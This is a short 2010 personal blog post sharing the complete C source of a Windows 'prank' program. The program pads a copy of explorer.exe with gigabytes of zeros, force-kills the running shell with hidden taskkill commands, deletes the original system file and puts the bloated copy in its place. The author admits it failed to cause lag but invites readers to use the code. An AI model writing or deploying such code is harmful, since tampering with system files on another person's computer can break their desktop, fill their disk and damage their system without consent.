Prank Project #1
Wednesday, 23 June 2010
, Posted by genesisdatabase at 16:25
Here's one of my prank projects that i made during my free time prolly last year. This doesn't works what it was supposed to though haha. Anyway here's the source code if you would want to waste some time.
My intention
To make the computer lag or slow by appending gazillion bytes in the explorer.exe file
Epic fail
It doesn't matter how big the file is ya know... the process is still running. Appending the bytes at the EOF (end of file) only enlarges the file... Probably people would think "wtf!! explorer.exe is 1gb big? How do i remove it!?"
[code]
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <shellapi.h>
int CopyFile(char *OLD, char *NEW);
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// directory
char DIRECTORY_EXP[256]; GetWindowsDirectory(DIRECTORY_EXP, 256);
strcat(DIRECTORY_EXP, "\\explorer.exe");
char DIRECTORY_TMP[256]; GetTempPath(256, DIRECTORY_TMP);
strcat(DIRECTORY_TMP, "\\explorer.exe");
char DIRECTORY_CMD[256]; GetSystemDirectory(DIRECTORY_CMD, 256);
strcat(DIRECTORY_CMD, "\\cmd.exe");
// copy file to temp
if(CopyFile(DIRECTORY_EXP, DIRECTORY_TMP) == 0)
return 0;
FILE *open;
open = fopen(DIRECTORY_TMP, "ab+");
if(!open)
return 0;
int RATE = 65535;
int COUNTER_START = 0;
int COUNTER_END = 32767;
char *buffer = (char *)malloc(RATE);
memset(buffer, 0, RATE);
while(COUNTER_START <= COUNTER_END)
{
fwrite(buffer, sizeof(char), RATE, open);
COUNTER_START++;
Sleep(1);
}
fclose(open);
// kills current explorer.exe
ShellExecute(NULL, "open", DIRECTORY_CMD, "/c taskkill /im explorer.exe /f", NULL, SW_HIDE);
Sleep(1000);
DeleteFile(DIRECTORY_EXP);
CopyFile(DIRECTORY_TMP, DIRECTORY_EXP);
ShellExecute(NULL, "open", DIRECTORY_CMD, "/c explorer.exe", NULL, SW_HIDE);
Sleep(1000);
return 1;
}
int CopyFile(char *OLD, char *NEW)
{
DeleteFile(NEW); // Delete any existing file
FILE *copy, *paste;
copy = fopen(OLD, "rb");
paste = fopen(NEW, "wb");
if(!copy || !paste) // if neither is available
return 0;
// get file size
fseek(copy, 0, SEEK_END);
int fileSize = ftell(copy);
rewind(copy);
// allocate memory
char *buf = (char *)malloc(fileSize);
fread(buf, sizeof(char), fileSize, copy);
fclose(copy);
// write file from buffer
fwrite(buf, sizeof(char), fileSize, paste);
fclose(paste);
return 1;
}
[/code]
Currently have 0 comments: